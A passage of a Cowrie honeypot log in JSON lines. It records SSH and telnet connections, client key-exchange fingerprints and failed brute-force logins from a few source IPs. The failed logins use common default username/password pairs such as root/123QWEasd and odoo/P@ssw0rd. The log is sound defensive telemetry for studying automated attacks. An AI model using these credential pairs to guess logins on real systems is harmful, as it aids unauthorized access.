hacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:41.137880Z","src_ip":"45.153.34.195","session":"e6bc33576e16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55241823196411,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:41.242096Z","src_ip":"103.249.87.183","session":"dd8b79e621da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:41.718652Z","src_ip":"45.153.34.195","session":"e6bc33576e16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:42.652957Z","src_ip":"91.92.40.36","session":"a3ad7086c77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:42.920362Z","src_ip":"45.153.34.195","session":"e6bc33576e16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54136,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0a6a87dc72","protocol":"ssh","message":"New connection: 45.153.34.195:54136 (10.17.0.5:22) [session: be0a6a87dc72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:43.952406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:43.957737Z","src_ip":"45.153.34.195","session":"be0a6a87dc72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:44.186873Z","src_ip":"45.153.34.195","session":"be0a6a87dc72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:44.209634Z","src_ip":"91.92.40.36","session":"6031a2c24469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456","message":"login attempt [anna/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:44.522003Z","src_ip":"45.153.34.195","session":"be0a6a87dc72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:44.561476Z","src_ip":"91.92.40.36","session":"a3ad7086c77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41736,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1ba66b7c692","protocol":"ssh","message":"New connection: 91.92.40.36:41736 (10.17.0.5:22) [session: c1ba66b7c692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:45.662428Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:45.710902Z","src_ip":"45.153.34.195","session":"be0a6a87dc72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:46.467487Z","src_ip":"91.92.40.36","session":"6031a2c24469","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:46.509193Z","src_ip":"91.92.40.36","session":"c1ba66b7c692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:46.515202Z","src_ip":"91.92.40.36","session":"c1ba66b7c692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54150,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d8d8f6af7c","protocol":"ssh","message":"New connection: 45.153.34.195:54150 (10.17.0.5:22) [session: 81d8d8f6af7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:46.885949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:46.891183Z","src_ip":"45.153.34.195","session":"81d8d8f6af7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:47.111779Z","src_ip":"45.153.34.195","session":"81d8d8f6af7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasd","message":"login attempt [root/123QWEasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:47.544123Z","src_ip":"45.153.34.195","session":"81d8d8f6af7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:48.152917Z","src_ip":"91.92.40.36","session":"c1ba66b7c692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:48.737411Z","src_ip":"45.153.34.195","session":"81d8d8f6af7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:49.338247Z","src_ip":"91.92.40.36","session":"c1ba66b7c692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":54170,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ab0a3aab6a3","protocol":"ssh","message":"New connection: 45.153.34.195:54170 (10.17.0.5:22) [session: 8ab0a3aab6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:49.804438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:49.814143Z","src_ip":"45.153.34.195","session":"8ab0a3aab6a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:49.910091Z","src_ip":"45.153.34.195","session":"8ab0a3aab6a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"P@ssw0rd","message":"login attempt [odoo/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:50.465937Z","src_ip":"45.153.34.195","session":"8ab0a3aab6a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:51.550433Z","src_ip":"45.153.34.195","session":"8ab0a3aab6a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28568,"dst_ip":"10.17.0.5","dst_port":22,"session":"c55b7912e7c1","protocol":"ssh","message":"New connection: 45.153.34.195:28568 (10.17.0.5:22) [session: c55b7912e7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:52.809548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:52.828557Z","src_ip":"45.153.34.195","session":"c55b7912e7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:52.907718Z","src_ip":"45.153.34.195","session":"c55b7912e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41794,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc027daba26e","protocol":"ssh","message":"New connection: 91.92.40.36:41794 (10.17.0.5:22) [session: dc027daba26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:53.036304Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"P@ssw0rd","message":"login attempt [alex/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:53.441095Z","src_ip":"45.153.34.195","session":"c55b7912e7c1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:53.836089Z","src_ip":"91.92.40.36","session":"dc027daba26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:53.839405Z","src_ip":"91.92.40.36","session":"dc027daba26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:54.585595Z","src_ip":"45.153.34.195","session":"c55b7912e7c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28576,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9a95788dfe","protocol":"ssh","message":"New connection: 45.153.34.195:28576 (10.17.0.5:22) [session: ce9a95788dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:55.659995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:55.665966Z","src_ip":"45.153.34.195","session":"ce9a95788dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:55.753341Z","src_ip":"45.153.34.195","session":"ce9a95788dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:56.313459Z","src_ip":"45.153.34.195","session":"ce9a95788dfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:57.311653Z","src_ip":"91.92.40.36","session":"dc027daba26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:57.470156Z","src_ip":"45.153.34.195","session":"ce9a95788dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":37506,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e80cd7ce2df","protocol":"ssh","message":"New connection: 160.187.180.146:37506 (159.203.135.109:22) [session: 4e80cd7ce2df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.524396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.528974Z","src_ip":"160.187.180.146","session":"4e80cd7ce2df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28578,"dst_ip":"10.17.0.5","dst_port":22,"session":"a360b8adc18d","protocol":"ssh","message":"New connection: 45.153.34.195:28578 (10.17.0.5:22) [session: a360b8adc18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.604085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.614699Z","src_ip":"45.153.34.195","session":"a360b8adc18d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:30:58.694998Z","src_ip":"91.92.40.36","session":"dc027daba26e","protocol":"ssh"}
